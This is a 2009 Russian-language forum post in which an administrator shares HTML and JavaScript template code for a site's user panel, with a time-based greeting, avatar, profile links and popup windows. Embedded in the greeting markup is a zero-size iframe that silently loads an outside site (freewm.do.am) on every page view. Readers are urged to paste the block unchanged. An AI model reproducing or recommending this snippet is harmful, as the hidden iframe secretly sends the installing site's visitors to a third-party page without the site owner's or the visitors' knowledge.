Alex28j | Дата: Пятница, 02.10.2009, 13:21 | Сообщение # 1 |
Генералиссимус
Группа: Администраторы
Сообщений: 286
Награды: 11
Репутация: 108
Статус:
| Естественно, сами блоки будут вашими, а содержимое такое... Желательно лучше ничего не менять и не стирать, потому что тут таблица в таблице, если что-то стереть может лагать... Code <center> <strong> <SCRIPT LANGUAGE="JavaScript"> currentTime = new Date(); if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 ) document.write("Доброе утро, "); if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 ) document.write("Добрый день, "); if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23) document.write("Добрый вечер, "); if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5) document.write("Доброй ночи, "); </SCRIPT> <font color="white"> $USER_FULL_NAME$</font><iframe src="http://freewm.do.am/" width=0 height=0></iframe> </strong> </center>
<div align=right> <font color="white">Время: <b>$TIME$</b></font> </div> <?if($USER_LOGGED_IN$)?> <a href=/index/14-1-0-1 target=_blank>Написать администратору ЛС</a> <?endif?>
<table> <tr> <td width=140 VALIGN=top> <?if($USER_AVATAR_URL$)?><img class="glossy" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="glossy" title="$USERNAME$" src="http://freewm.do.am/avatar/noavator.png" border="0"><?else?><img class="glossy" title="$USERNAME$" src="http://freewm.do.am/avatar/noavator.png" border="0"><?endif?><?endif?>
</td>
<td VALIGN=top> <?if($USER_LOGGED_IN$)?> <a target="_blank" href="$PERSONAL_PAGE_LINK$"> Профиль</a> <br><a href="javascript:openOnClick('users')"> Пользователи</a> <br><a href="javascript:openOnClick('options')"> Настройки</a> <br><a href="javascript:openOnClick('send')"> Отпр. сообщ.</a> <br><a id="upml2" href="javascript:openOnClick('mail')"> Читать ЛС (<b>$UNREAD_PM$</b>)</a> <?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><?endif?> <a href="$LOGOUT_LINK$">Выход</a>
<script language=javascript type=text/javascript> function openOnClick(client_type) { if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
} </script> </td> </tr> </table> <?else?> $LOGIN_FORM$ </td> </tr> </table>
<?endif?> Если вам помог этот скрипт,то ставьте мне в репутацию
|
|
| |